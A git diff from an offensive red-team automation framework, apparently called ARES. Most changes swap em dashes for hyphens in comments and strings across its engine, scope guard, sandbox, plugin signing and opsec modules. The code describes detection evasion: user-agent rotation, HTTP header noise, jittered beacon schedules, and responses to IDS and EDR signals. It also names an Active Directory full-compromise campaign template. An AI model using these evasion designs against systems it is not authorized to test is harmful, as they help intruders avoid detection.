# skip_validation=True is an escape hatch for tests / retries.
if not skip_validation:
@@ -626,7 +626,7 @@ class AresEngine:
)
# ── end validate ───────────────────────────────────────────
- # Call execute(ctx) — preferred interface.
+ # Call execute(ctx) - preferred interface.
# Falls back to run(**ctx.params) via BaseModule.execute() default
# for modules that haven't migrated yet.
mark_effect_started(admitted_context)
@@ -830,7 +830,7 @@ class AresEngine:
except Exception as teardown_exc:
logger.warning("engine_pivot_teardown_failed", error=str(teardown_exc)[:80])
- # ALWAYS clean up credential artifacts — regardless of which modules ran.
+ # ALWAYS clean up credential artifacts - regardless of which modules ran.
# This runs unconditionally to prevent accumulation in 24/7 operation.
try:
from ares.core.security import cleanup_credential_artifacts
@@ -853,7 +853,7 @@ class AresEngine:
"""
Validate each module's REQUIRES are satisfied by earlier stages.
Returns list of warning dicts with module_id, missing_requirement, suggested_provider.
- Called automatically in run_plan — warnings logged, never blocking.
+ Called automatically in run_plan - warnings logged, never blocking.
"""
warnings_out: list[dict[str, Any]] = []
available_outputs: set[str] = set()
@@ -878,7 +878,7 @@ class AresEngine:
"missing_requirement": req,
"suggested_provider": suggested,
"message": (
- f"'{mid}' requires '{req}' — "
+ f"'{mid}' requires '{req}' - "
f"add '{suggested}' to an earlier stage first"
),
}
@@ -896,7 +896,7 @@ class AresEngine:
global_params: dict[str, Any] | None = None,
) -> dict[str, Any]:
"""
- Validate a plan without executing — pre-flight check.
+ Validate a plan without executing - pre-flight check.
Returns:
dry_run: True
@@ -1447,7 +1447,7 @@ class AresEngine:
) -> EngineModuleResult:
if self._semaphore is None:
raise RuntimeError(
- "Engine semaphore not initialised — engine was not started correctly"
+ "Engine semaphore not initialised - engine was not started correctly"
)
async with self._semaphore:
if on_progress:
@@ -1533,7 +1533,7 @@ CAMPAIGN_TEMPLATES: dict[str, dict] = {
],
},
"ad_full_compromise": {
- "description": "Full Active Directory compromise — recon to domain admin",
+ "description": "Full Active Directory compromise - recon to domain admin",
"stages": [
{
"name": "recon",
@@ -1579,7 +1579,7 @@ CAMPAIGN_TEMPLATES: dict[str, dict] = {
],
},
"cloud_assessment": {
- "description": "Multi-cloud security assessment — AWS, Azure, GCP",
+ "description": "Multi-cloud security assessment - AWS, Azure, GCP",
"stages": [
{
"name": "cloud_enum",
@@ -1605,7 +1605,7 @@ CAMPAIGN_TEMPLATES: dict[str, dict] = {
],
},
"assumed_breach": {
- "description": "Assumed breach — start with valid creds, test lateral + escalation",
+ "description": "Assumed breach - start with valid creds, test lateral + escalation",
"stages": [
{
"name": "situational_awareness",
diff --git a/ares/core/errors.py b/ares/core/errors.py
index 3e1391d..05357d2 100644
--- a/ares/core/errors.py
+++ b/ares/core/errors.py
@@ -12,9 +12,9 @@ Error categories and engine behavior:
AresError (base)
├─ ModuleError retry up to max_attempts, then skip
- │ ├─ ModuleValidationError abort immediately — bad config, skip module
+ │ ├─ ModuleValidationError abort immediately - bad config, skip module
│ ├─ ModuleTimeoutError retry with backoff
- │ └─ ModuleNotFoundError abort — no retry possible
+ │ └─ ModuleNotFoundError abort - no retry possible
├─ NetworkError retry with jitter
│ ├─ ConnectionRefused retry × 3, then fallback module
│ ├─ ConnectionTimeout retry with exponential backoff
@@ -28,7 +28,7 @@ Error categories and engine behavior:
│ ├─ SandboxError log + skip module
│ ├─ WorkerCrashed requeue task
│ └─ PayloadError log + skip
- ├─ ScopeError abort immediately — never retry out-of-scope
+ ├─ ScopeError abort immediately - never retry out-of-scope
├─ OpsecError engine pauses or switches profile
│ ├─ DetectionSignal escalate opsec profile
│ └─ HoneypotDetected abort campaign, alert operator
@@ -106,7 +106,7 @@ class ModuleError(AresError):
class ModuleValidationError(ModuleError):
"""
Module metadata or parameter validation failed.
- Engine aborts immediately — bad config means retry won't help.
+ Engine aborts immediately - bad config means retry won't help.
Raised by:
BaseModule.validate()
@@ -138,7 +138,7 @@ class ModuleTimeoutError(ModuleError):
class ModuleNotFoundError(ModuleError):
"""
Module ID not in registry.
- Engine aborts — cannot retry a missing module.
+ Engine aborts - cannot retry a missing module.
"""
default_action = AresError.ABORT
@@ -320,7 +320,7 @@ class PayloadError(ExecutionError):
class InvalidContext(ExecutionError):
"""
ExecutionContext is missing required fields.
- Engine aborts module — bad context means logic error, not transient failure.
+ Engine aborts module - bad context means logic error, not transient failure.
"""
default_action = AresError.ABORT
@@ -337,7 +337,7 @@ class ScopeError(AresError):
"""
Operation would target an out-of-scope host or resource.
Engine ABORTS immediately. Never retries or falls back.
- The guardrail caught this — the operator must fix scope config.
+ The guardrail caught this - the operator must fix scope config.
"""
default_action = AresError.ABORT
@@ -387,7 +387,7 @@ class HoneypotDetected(OpsecError):
"""
High-confidence honeypot detection.
Engine ABORTS the campaign and alerts the operator.
- Do NOT retry — further interaction makes IR worse.
+ Do NOT retry - further interaction makes IR worse.
"""
default_action = AresError.ABORT
diff --git a/ares/core/logger.py b/ares/core/logger.py
index 1c87fba..3a77fbc 100644
--- a/ares/core/logger.py
+++ b/ares/core/logger.py
@@ -1,6 +1,6 @@
"""
ARES Structured Logger
-JSON-first logging using structlog — SIEM-ingestible NDJSON output.
+JSON-first logging using structlog - SIEM-ingestible NDJSON output.
Every log line on disk is a complete JSON object:
{
@@ -16,7 +16,7 @@ Every log line on disk is a complete JSON object:
}
Console stays human-readable (colored).
-Disk output: NDJSON (one JSON object per line — Splunk/ELK/Grafana Loki compatible).
+Disk output: NDJSON (one JSON object per line - Splunk/ELK/Grafana Loki compatible).
Separate audit.ndjson for append-only action trail.
"""
from __future__ import annotations
diff --git a/ares/core/noise.py b/ares/core/noise.py
index 85f3bca..ab71d54 100644
--- a/ares/core/noise.py
+++ b/ares/core/noise.py
@@ -75,13 +75,13 @@ class JitterEngine:
if lo >= hi:
delay_ms = lo
else:
- # Use triangular distribution — more realistic than uniform
+ # Use triangular distribution - more realistic than uniform
delay_ms = int(random.triangular(lo, hi, (lo + hi) // 2))
logger.debug("noise_jitter_sleep_ms", delay_ms=delay_ms, profile=self.profile)
await asyncio.sleep(delay_ms / 1000)
async def sleep_between_hosts(self) -> None:
- """Longer pause when moving between hosts — mimics human behavior."""
+ """Longer pause when moving between hosts - mimics human behavior."""
multiplier = {"stealth": 3, "normal": 1.5, "aggressive": 0.5}[self.profile]
await self.sleep(
override_min=int(self.min_ms * multiplier),
@@ -136,7 +136,7 @@ class RateLimiter:
class ScopeGuard:
"""
- HARD STOP — prevents any action outside defined scope.
+ HARD STOP - prevents any action outside defined scope.
This protects operators from accidental out-of-scope activity.
"""
@@ -158,7 +158,7 @@ class ScopeGuard:
"timestamp": time.time(),
})
logger.warning(
- f"[scope_guard] BLOCKED: '{action}' against '{target}' — OUT OF SCOPE"
+ f"[scope_guard] BLOCKED: '{action}' against '{target}' - OUT OF SCOPE"
)
return in_scope
@@ -175,7 +175,7 @@ class ScopeGuard:
return len(self._blocked_attempts)
-class ScopeViolationError(ScopeError): # alias for backward compat — use ScopeError directly
+class ScopeViolationError(ScopeError): # alias for backward compat - use ScopeError directly
"""Raised when an action targets an out-of-scope host."""
@@ -183,7 +183,7 @@ class ScopeViolationError(ScopeError): # alias for backward compat — use Scop
class NoiseController:
"""
- Master controller — combines jitter + rate limiter + scope guard.
+ Master controller - combines jitter + rate limiter + scope guard.
Every module must use this before making any network call.
"""
diff --git a/ares/core/notifier.py b/ares/core/notifier.py
index 595196f..99649c5 100644
--- a/ares/core/notifier.py
+++ b/ares/core/notifier.py
@@ -1,5 +1,5 @@
"""
-ARES Webhook Notifier — v1.0.0
+ARES Webhook Notifier - v1.0.0
Sends real-time alerts to Slack / Teams / generic webhook endpoints
when findings above a configured severity threshold are discovered.
@@ -104,14 +104,14 @@ class WebhookNotifier:
except ValueError as exc:
if "not allowed" in str(exc) or "private" in str(exc) or "SSRF" in str(exc):
raise
- # Not a bare IP literal — resolve hostname now and check all returned addresses.
+ # Not a bare IP literal - resolve hostname now and check all returned addresses.
# This prevents SSRF via internal hostnames like `internal.corp.local` that would
# otherwise only be DNS-resolved at request time, bypassing the IP blocklist above.
import socket
try:
resolved = socket.getaddrinfo(hostname, None)
except socket.gaierror:
- # Unresolvable at config time — reject to be safe; DNS may resolve later
+ # Unresolvable at config time - reject to be safe; DNS may resolve later
# to a private IP, and we cannot verify it is safe.
raise ValueError(
f"Webhook hostname {hostname!r} could not be resolved at configuration "
@@ -162,12 +162,12 @@ class WebhookNotifier:
module=getattr(finding, "module_id", "?"))
def _build_payload(self, finding: Any, campaign: Any) -> dict[str, Any]:
- """Build notification payload — auto-detects Slack vs Teams vs generic."""
+ """Build notification payload - auto-detects Slack vs Teams vs generic."""
sev = finding.severity.value if hasattr(finding.severity, "value") else str(finding.severity)
score = getattr(finding, "cvss_score", 0.0) or 0.0
- mitre = getattr(finding, "mitre_technique", None) or "—"
+ mitre = getattr(finding, "mitre_technique", None) or " - "
tid = getattr(finding, "trace_id", "") or ""
- host = getattr(finding, "host", None) or "—"
+ host = getattr(finding, "host", None) or " - "
mod = getattr(finding, "module_id", "?")
cname = getattr(campaign, "name", str(getattr(campaign, "id", "?")))
diff --git a/ares/core/opsec/adaptive.py b/ares/core/opsec/adaptive.py
index dcee543..b75f456 100644
--- a/ares/core/opsec/adaptive.py
+++ b/ares/core/opsec/adaptive.py
@@ -109,7 +109,7 @@ class AdaptiveOpsecEngine:
self.auth_fail_threshold = auth_fail_threshold
self.jitter_increment_s = jitter_increment_s
- # Signal event buffers — deque of (timestamp, event) per signal type
+ # Signal event buffers - deque of (timestamp, event) per signal type
self._signals: defaultdict[str, deque[SignalEvent]] = defaultdict(
lambda: deque(maxlen=200)
)
@@ -202,7 +202,7 @@ class AdaptiveOpsecEngine:
if recent >= self.timeout_threshold:
return [OpsecAdaptation(
action=ResponseAction.ESCALATE_PROFILE,
- reason=f"{recent} timeouts in {self.window_s}s — escalating to stealth",
+ reason=f"{recent} timeouts in {self.window_s}s - escalating to stealth",
triggered_by=[event],
new_profile=self._next_stealth_profile(),
new_jitter_s=self._current_jitter_boost + self.jitter_increment_s,
@@ -219,7 +219,7 @@ class AdaptiveOpsecEngine:
if host_resets >= self.reset_threshold:
return [OpsecAdaptation(
action=ResponseAction.BLACKLIST_HOST,
- reason=f"{host_resets} connection resets from {event.host} — possible IPS/EDR",
+ reason=f"{host_resets} connection resets from {event.host} - possible IPS/EDR",
triggered_by=[event],
blacklist_host=event.host,
)]
@@ -236,7 +236,7 @@ class AdaptiveOpsecEngine:
if count >= self.auth_fail_threshold:
return [OpsecAdaptation(
action=ResponseAction.STOP_ACCOUNT,
- reason=f"{count} auth failures for {username} — lockout protection",
+ reason=f"{count} auth failures for {username} - lockout protection",
triggered_by=[event],
stop_account=username,
)]
@@ -247,7 +247,7 @@ class AdaptiveOpsecEngine:
return []
return [OpsecAdaptation(
action=ResponseAction.INCREASE_JITTER,
- reason="Rate limit detected — increasing inter-request jitter",
+ reason="Rate limit detected - increasing inter-request jitter",
triggered_by=[event],
new_jitter_s=self._current_jitter_boost + self.jitter_increment_s * 2,
)]
@@ -257,7 +257,7 @@ class AdaptiveOpsecEngine:
return []
return [OpsecAdaptation(
action=ResponseAction.PAUSE_ALL,
- reason="Scan detected (honeypot/IDS alert) — pausing all operations",
+ reason="Scan detected (honeypot/IDS alert) - pausing all operations",
triggered_by=[event],
new_profile="stealth",
)]
diff --git a/ares/core/opsec/opsec.py b/ares/core/opsec/opsec.py
index 0254630..ac264b2 100644
--- a/ares/core/opsec/opsec.py
+++ b/ares/core/opsec/opsec.py
@@ -3,12 +3,12 @@ ARES OpSec Layer
Professional-grade operational security controls for red team engagements.
Components:
- UserAgentRotator — realistic browser/tool UA pool, weighted random selection
- HeaderMutator — randomize HTTP header order + add realistic noise headers
- ProtocolSelector — SMB→HTTP, LDAP→LDAPS, automatic protocol fallback chain
- BeaconScheduler — jittered sleep profiles (uniform, gaussian, triangular, pareto)
- TrafficShaper — token bucket + burst control per protocol
- OpSecProfile — master config object tying all controls together
+ UserAgentRotator - realistic browser/tool UA pool, weighted random selection
+ HeaderMutator - randomize HTTP header order + add realistic noise headers
+ ProtocolSelector - SMB→HTTP, LDAP→LDAPS, automatic protocol fallback chain
+ BeaconScheduler - jittered sleep profiles (uniform, gaussian, triangular, pareto)
+ TrafficShaper - token bucket + burst control per protocol
+ OpSecProfile - master config object tying all controls together
Usage in a module:
opsec = OpSecProfile.from_noise_profile(campaign.noise_profile)
@@ -37,7 +37,7 @@ logger = get_logger("ares.opsec")
# Weighted pool: (user_agent_string, weight)
# Higher weight = more likely to be selected. Real-world browser share as weights.
_UA_POOL: list[tuple[str, int]] = [
- # Chrome (most common — highest weight)
+ # Chrome (most common - highest weight)
("Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", 35),
("Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36", 20),
("Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", 15),
@@ -48,7 +48,7 @@ _UA_POOL: list[tuple[str, int]] = [
("Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Edg/120.0.0.0", 8),
# Safari
("Mozilla/5.0 (Macintosh; Intel Mac OS X 14_2) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.2 Safari/605.1.15", 5),
- # Curl / tool-like (used in aggressive profile only — lower weight)
+ # Curl / tool-like (used in aggressive profile only - lower weight)
("python-requests/2.31.0", 1),
("curl/7.88.1", 1),
]
@@ -114,7 +114,7 @@ class HeaderMutator:
if self.inject_noise:
for header, values in _NOISE_HEADERS:
- # random.random/choice here is intentional — used for OpSec HTTP
+ # random.random/choice here is intentional - used for OpSec HTTP
# header noise injection (probabilistic mutation), NOT for any
# cryptographic or authentication purpose. # noqa: S311
if header not in result and random.random() < 0.6: # noqa: S311
@@ -174,7 +174,7 @@ class ProtocolSelector:
return protocol # last resort
def mark_unavailable(self, protocol: str) -> None:
- """Call this when a connection attempt fails — removes from future selection."""
+ """Call this when a connection attempt fails - removes from future selection."""
self._unavailable.add(protocol)
logger.info("protocol_marked_unavailable", protocol=protocol)
@@ -185,9 +185,9 @@ class ProtocolSelector:
# ── Beacon Scheduler ──────────────────────────────────────────────────────────
class BeaconDistribution(str, Enum):
- UNIFORM = "uniform" # flat random — obvious in logs
+ UNIFORM = "uniform" # flat random - obvious in logs
GAUSSIAN = "gaussian" # normal distribution around mean
- TRIANGULAR = "triangular" # triangular — ARES default, realistic
+ TRIANGULAR = "triangular" # triangular - ARES default, realistic
PARETO = "pareto" # long-tail: mostly short, occasional long pause
@@ -242,7 +242,7 @@ class BeaconScheduler:
elif dist == BeaconDistribution.TRIANGULAR:
t = random.triangular(p.min_sleep, p.max_sleep, p.mean_sleep)
elif dist == BeaconDistribution.PARETO:
- # Pareto: heavy tail — mostly fast, occasionally very long pauses
+ # Pareto: heavy tail - mostly fast, occasionally very long pauses
alpha = 1.5
t = (random.paretovariate(alpha) - 1) * p.mean_sleep + p.min_sleep
else:
diff --git a/ares/core/plugin/loader.py b/ares/core/plugin/loader.py
index 1d6f8b3..c07d617 100644
--- a/ares/core/plugin/loader.py
+++ b/ares/core/plugin/loader.py
@@ -2,9 +2,9 @@
ARES Plugin Loader
Auto-discovers modules via three mechanisms (in priority order):
-1. Built-in — ares/modules/**/*.py (always loaded, trusted)
-2. Entry points — third-party packages that register ares.modules entry points
-3. External dir — ARES_PLUGIN_DIR env var (drop-in .py files, no install needed)
+1. Built-in - ares/modules/**/*.py (always loaded, trusted)
+2. Entry points - third-party packages that register ares.modules entry points
+3. External dir - ARES_PLUGIN_DIR env var (drop-in .py files, no install needed)
Security controls added in v1.0.0:
- Signature verification before loading external/entry-point modules
@@ -13,10 +13,10 @@ Security controls added in v1.0.0:
- Unsigned external modules loaded with capability restriction warning
Trust levels:
- builtin — shipped with ARES, always trusted
- entrypoint — installed pip package with ares.modules entry point → WARN_UNSIGNED
- external — .py file in plugin dir → REQUIRE_SIGNED (configurable)
- unsigned — passes WARN/ALLOW policy, cap-restricted
+ builtin - shipped with ARES, always trusted
+ entrypoint - installed pip package with ares.modules entry point → WARN_UNSIGNED
+ external - .py file in plugin dir → REQUIRE_SIGNED (configurable)
+ unsigned - passes WARN/ALLOW policy, cap-restricted
Config:
ARES_PLUGIN_SIGNING_POLICY = require_signed | warn_unsigned | allow_all
@@ -310,7 +310,7 @@ class PluginLoader:
else Path.home() / ".ares" / "plugins"
)
- # Path traversal guard — resolve to absolute path and verify it stays within
+ # Path traversal guard - resolve to absolute path and verify it stays within
# an allowed base (home dir or explicitly trusted locations).
try:
plugin_dir = plugin_dir.resolve()
@@ -321,7 +321,7 @@ class PluginLoader:
_allowed_bases = [
Path.home().resolve(),
*self._trusted_external_roots,
- Path("/tmp").resolve(), # noqa: S108 — sandbox staging area
+ Path("/tmp").resolve(), # noqa: S108 - sandbox staging area
]
if not any(
_is_path_within_base(plugin_dir, base) for base in _allowed_bases
@@ -380,7 +380,7 @@ class PluginLoader:
if trust not in ("trusted", "community"):
logger.warning(
f"[plugin_loader] Loading {path.name!r} with trust={trust!r} "
- f"— capabilities will be restricted"
+ f" - capabilities will be restricted"
)
except ValueError as e:
self._errors.append({"path": str(path), "error": str(e)})
@@ -403,7 +403,7 @@ class PluginLoader:
for v in cap_violations:
logger.error("plugin_loader_capability_violation", v=v)
self._errors.append({"path": str(path), "error": v})
- continue # Skip module — capability violation
+ continue # Skip module - capability violation
self.registry.register(cls, source=source)
diff --git a/ares/core/sandbox.py b/ares/core/sandbox.py
index fdc4acb..b205ac6 100644
--- a/ares/core/sandbox.py
+++ b/ares/core/sandbox.py
@@ -1,12 +1,12 @@
"""
-ARES Plugin Sandbox — Restricted Module Execution
+ARES Plugin Sandbox - Restricted Module Execution
Prevents third-party modules from damaging the core engine.
Isolation tiers:
- TIER_0 NONE — core modules, run in-process (trusted)
- TIER_1 SUBPROCESS — separate process, resource limits (default)
- TIER_2 SECCOMP — subprocess + seccomp syscall filter (Linux)
- TIER_3 DOCKER — fully isolated container (maximum isolation)
+ TIER_0 NONE - core modules, run in-process (trusted)
+ TIER_1 SUBPROCESS - separate process, resource limits (default)
+ TIER_2 SECCOMP - subprocess + seccomp syscall filter (Linux)
+ TIER_3 DOCKER - fully isolated container (maximum isolation)
Resource limits (TIER_1+):
- CPU: 30 seconds max
@@ -177,7 +177,7 @@ class SandboxRunner:
return SandboxResult(module_id=module_id, sandbox_tier=IsolationTier.NONE,
success=False, error=f"Module {module_id!r} not registered")
- # Look up real campaign scope from DB — same pattern as _run_subprocess.
+ # Look up real campaign scope from DB - same pattern as _run_subprocess.
# Do NOT default to 0.0.0.0/0 (wildcard) as that bypasses scope enforcement.
scope_entries: list[ScopeEntry] = []
try:
@@ -199,11 +199,11 @@ class SandboxRunner:
pass # fallback: empty scope = nothing in scope, fails closed
# If DB lookup failed and no scope found, use empty scope (deny-all).
- # Modules will fail validation — this is safer than allowing everything.
+ # Modules will fail validation - this is safer than allowing everything.
if not scope_entries:
logger.warning("sandbox_inprocess_no_scope",
campaign_id=campaign_id, module_id=module_id,
- note="No campaign scope found — using deny-all. "
+ note="No campaign scope found - using deny-all. "
"Pass a valid campaign_id or use subprocess mode.")
scope_entries = []
@@ -252,7 +252,7 @@ class SandboxRunner:
if e.get("cidr")
]
except Exception:
- pass # fallback handled in wrapper — fails closed
+ pass # fallback handled in wrapper - fails closed
payload = json.dumps({
"module_id": module_id,
"params": params,
@@ -402,7 +402,7 @@ class SandboxRunner:
resource.setrlimit(resource.RLIMIT_NPROC, (64, 64))
resource.setrlimit(resource.RLIMIT_NOFILE, (256, 256))
except (OSError, ValueError, AttributeError):
- pass # best-effort — don't fail the child
+ pass # best-effort - don't fail the child
return _limits
@@ -422,7 +422,7 @@ class SandboxRunner:
"import ctypes as _ct, ctypes.util as _cu, os as _so\n"
"try:\n"
" _libc = _ct.CDLL(_cu.find_library('c'), use_errno=True)\n"
- " _libc.prctl(38, 1, 0, 0, 0) # PR_SET_NO_NEW_PRIVS — child cannot gain privs\n"
+ " _libc.prctl(38, 1, 0, 0, 0) # PR_SET_NO_NEW_PRIVS - child cannot gain privs\n"
"except Exception as _pe:\n"
" import sys as _ps; print(f'[sandbox] prctl failed: {_pe}', file=_ps.stderr)\n"
"if _so.environ.get('ARES_SECCOMP_BPF') == '1':\n"
@@ -436,7 +436,7 @@ class SandboxRunner:
" _f.load()\n"
" except ImportError:\n"
" import sys as _s2\n"
- " print('[sandbox] pyseccomp not installed — BPF filter skipped', file=_s2.stderr)\n"
+ " print('[sandbox] pyseccomp not installed - BPF filter skipped', file=_s2.stderr)\n"
" except Exception as _be:\n"
" import sys as _s3\n"
" print(f'[sandbox] BPF filter failed: {_be}', file=_s3.stderr)\n"
@@ -468,7 +468,7 @@ class SandboxRunner:
" _scope_cidrs = payload.get(\"scope_cidrs\", [])\n"
" if not _scope_cidrs:\n"
" print(json.dumps({\"success\": False, \"error\":\n"
- " \"Sandbox scope not provided — refusing to run with unbounded scope\",\n"
+ " \"Sandbox scope not provided - refusing to run with unbounded scope\",\n"
" \"findings\": [], \"extra\": {}}))\n"
" return\n"
" campaign = Campaign(\n"
@@ -524,7 +524,7 @@ class SandboxRunner:
' _scope_cidrs = payload.get("scope_cidrs", [])\n'
' if not _scope_cidrs:\n'
' return {"success": False,\n'
- ' "error": "Sandbox scope not provided — refusing to run with unbounded scope",\n'
+ ' "error": "Sandbox scope not provided - refusing to run with unbounded scope",\n'
' "findings": [], "extra": {}}\n'
' campaign = Campaign(\n'
' id=campaign_id or str(uuid.uuid4()),\n'
diff --git a/ares/core/security.py b/ares/core/security.py
index e74dafc..175706a 100644
--- a/ares/core/security.py
+++ b/ares/core/security.py
@@ -36,7 +36,7 @@ def _get_legacy_salt() -> bytes:
# ── Password hashing ──────────────────────────────────────────────────────────
-# NOTE: Use bcrypt directly — passlib 1.7.4 is incompatible with bcrypt >= 4.0
+# NOTE: Use bcrypt directly - passlib 1.7.4 is incompatible with bcrypt >= 4.0
# which added an explicit 72-byte limit. We truncate + call bcrypt directly.
def hash_password(password: str) -> str:
pw_bytes = password.encode("utf-8")[:72]
@@ -55,10 +55,10 @@ def verify_password(plain: str, hashed: str) -> bool:
# ── JWT ───────────────────────────────────────────────────────────────────────
#
# Algorithm support:
-# HS256 (default) — symmetric HMAC. Simple, single-service deployments.
+# HS256 (default) - symmetric HMAC. Simple, single-service deployments.
# ARES_JWT_ALGORITHM=HS256, ARES_SECRET_KEY=<32+ char secret>
#
-# RS256 — asymmetric RSA. Multi-service: any service can verify tokens
+# RS256 - asymmetric RSA. Multi-service: any service can verify tokens
# using only the public key without knowing the private key.
# Generate:
# openssl genrsa -out ares_jwt_private.pem 2048
@@ -78,8 +78,8 @@ def _load_jwt_key(
"""
Return the correct key object for PyJWT based on algorithm.
- HS256: symmetric — same key for sign and verify.
- RS256: asymmetric — private key for sign, public key for verify.
+ HS256: symmetric - same key for sign and verify.
+ RS256: asymmetric - private key for sign, public key for verify.
Keys are read from ARES_JWT_PRIVATE_KEY_PATH / ARES_JWT_PUBLIC_KEY_PATH
env vars if present; otherwise falls back to secret_key string (useful
for testing, not recommended for production RS256 deployments).
@@ -107,13 +107,13 @@ def _load_jwt_key(
logger.error(
"jwt_public_key_load_failed", path=key_path, error=str(exc)
)
- # Fallback — not safe for RS256 production use, but allows unit tests to run
+ # Fallback - not safe for RS256 production use, but allows unit tests to run
logger.warning(
"jwt_asymmetric_key_fallback",
msg="Set ARES_JWT_PRIVATE_KEY_PATH/ARES_JWT_PUBLIC_KEY_PATH for RS256",
)
return secret_key
- # HS256 / HS384 / HS512 — symmetric
+ # HS256 / HS384 / HS512 - symmetric
return secret_key
@@ -176,7 +176,7 @@ class DataEncryptor:
A 16-byte random salt is generated per DataEncryptor instance.
Every ciphertext is stored as "<salt_hex_32chars>:<fernet_token>".
On decrypt(), the salt is parsed from the prefix so the correct
- derived key is always used — no need to store salt separately in DB.
+ derived key is always used - no need to store salt separately in DB.
This means each encrypted value has its own unique salt, eliminating
the fixed-salt offline brute-force risk entirely. Decryption works
@@ -188,7 +188,7 @@ class DataEncryptor:
They will be re-encrypted with a random salt on the next write.
"""
- # Legacy fixed salt — ONLY for decrypting old records written before per-record salts.
+ # Legacy fixed salt - ONLY for decrypting old records written before per-record salts.
# Security rationale: this salt is intentionally static because it was used as a
# global salt in v5 and earlier. All new writes use per-record random salts (see encrypt()).
# Override via ARES_LEGACY_SALT env var if you rotated this in your deployment.
@@ -256,20 +256,20 @@ class DataEncryptor:
fernet_token = raw_fernet_token.encode()
return self._derive_fernet(salt).decrypt(fernet_token).decode()
- # Legacy fallback: no prefix — use old fixed salt for pre-existing DB records
+ # Legacy fallback: no prefix - use old fixed salt for pre-existing DB records
if not self._is_canonical_fernet_token(token):
raise ValueError("Invalid Fernet token encoding")
result = (
self._derive_fernet(self._LEGACY_SALT).decrypt(token.encode()).decode()
)
logger.info(
- "[security] Decrypted legacy ciphertext — will re-encrypt on next write"
+ "[security] Decrypted legacy ciphertext - will re-encrypt on next write"
)
return result
except (InvalidToken, ValueError, UnicodeDecodeError) as exc:
logger.error(
- "[security] Decryption failed — data may be tampered or key mismatch",
+ "[security] Decryption failed - data may be tampered or key mismatch",
error=str(exc)[:80],
)
return None
@@ -359,7 +359,7 @@ def sanitize_path(value: str) -> str:
logger.warning("security_sensitive_path_blocked", path=repr(resolved))
raise ValueError(f"Access to sensitive path is not allowed: {resolved}")
- # Allowed directory roots — only these can be accessed.
+ # Allowed directory roots - only these can be accessed.
_ALLOWED = tuple(
p.resolve()
for p in (
@@ -538,14 +538,14 @@ def secure_mkstemp(
Registers path for campaign-scoped tracking so cleanup deletes only the
correct campaign's artifacts.
- Returns (path, fd) — caller MUST os.close(fd) after use.
+ Returns (path, fd) - caller MUST os.close(fd) after use.
"""
import os
import tempfile
fd, path = tempfile.mkstemp(suffix=suffix, prefix=prefix)
if hasattr(os, "fchmod"):
- os.fchmod(fd, 0o600) # owner read/write only — BEFORE any data written
+ os.fchmod(fd, 0o600) # owner read/write only - BEFORE any data written
else:
os.chmod(path, 0o600) # Windows reflects file modes through chmod(path)
_restrict_windows_acl(path)
diff --git a/ares/core/signing.py b/ares/core/signing.py
index 43fbb27..b42fde9 100644
--- a/ares/core/signing.py
+++ b/ares/core/signing.py
@@ -5,17 +5,17 @@ Cryptographic signing ensures community modules are authentic and unmodified.
Design:
- Each module file is signed with the author's Ed25519 private key
- Signature stored in module.sig file or embedded in __module_signature__
- - Verification at load time — unsigned/invalid modules rejected (configurable)
+ - Verification at load time - unsigned/invalid modules rejected (configurable)
Trust model:
- TRUSTED — ARES official modules (bundled, pre-verified)
- COMMUNITY — Author-signed modules (verify with author's public key)
- UNSIGNED — No signature (warn or reject based on policy)
- REVOKED — Key has been revoked (always reject)
+ TRUSTED - ARES official modules (bundled, pre-verified)
+ COMMUNITY - Author-signed modules (verify with author's public key)
+ UNSIGNED - No signature (warn or reject based on policy)
+ REVOKED - Key has been revoked (always reject)
Key storage:
- ~/.ares/keys/trusted_keys.json — trusted public keys registry
- ~/.ares/keys/<key_id>.pub — individual public key file
+ ~/.ares/keys/trusted_keys.json - trusted public keys registry
+ ~/.ares/keys/<key_id>.pub - individual public key file
Usage:
# Generate a key pair (module author)
@@ -190,7 +190,7 @@ class KeyRegistry:
logger.info("trusted_key_added", key_id=key_id, author=author)
def revoke_key(self, key_id: str, reason: str = "", operator: str = "") -> None:
- """Revoke a key — all modules signed with this key will be rejected."""
+ """Revoke a key - all modules signed with this key will be rejected."""
self._revoked.add(key_id)
self._keys.pop(key_id, None)
self._save()
@@ -371,7 +371,7 @@ class ModuleVerifier:
trust_level = TrustLevel.INVALID,
key_id = sig.key_id,
author = sig.author,
- error = "File hash mismatch — module may have been tampered with",
+ error = "File hash mismatch - module may have been tampered with",
)
# Verify cryptographic signature
@@ -420,7 +420,7 @@ class ModuleVerifier:
"""
if result.trust_level == TrustLevel.INVALID:
raise ValueError(
- f"Module {result.module_path.name!r} has invalid signature — "
+ f"Module {result.module_path.name!r} has invalid signature - "
f"possible tampering. Refusing to load."
)
if result.trust_level == TrustLevel.REVOKED:
diff --git a/ares/core/tracing.py b/ares/core/tracing.py
index 57f4703..5866438 100644
--- a/ares/core/tracing.py
+++ b/ares/core/tracing.py
@@ -1,8 +1,8 @@
"""
-ARES OpenTelemetry Distributed Tracing — v3.1.0 (canonical)
+ARES OpenTelemetry Distributed Tracing - v3.1.0 (canonical)
Single source of truth for all tracing in ARES.
-Replaces ares/telemetry/tracing.py (deleted — this file is the merge target).
+Replaces ares/telemetry/tracing.py (deleted - this file is the merge target).
Provides trace ID correlation from:
HTTP request → engine → module execution → outgoing HTTP
@@ -11,18 +11,18 @@ Features:
- OTLP gRPC exporter (Jaeger / Grafana Tempo / OTLP-compatible)
- Console exporter for local dev (ARES_OTEL_CONSOLE=true)
- FastAPI auto-instrumentation (per-request spans with route + status)
- - @trace_module() decorator — wraps module run() in a child span
+ - @trace_module() decorator - wraps module run() in a child span
- span() / async_span() context managers for inline spans
- - inject_trace_context() — W3C traceparent header for outgoing calls
- - TraceIDLogFilter — injects trace_id + span_id into every loguru record
+ - inject_trace_context() - W3C traceparent header for outgoing calls
+ - TraceIDLogFilter - injects trace_id + span_id into every loguru record
- X-Trace-Id response header set by server middleware
- - Full NoOp fallback — zero overhead when opentelemetry not installed
+ - Full NoOp fallback - zero overhead when opentelemetry not installed
Environment variables:
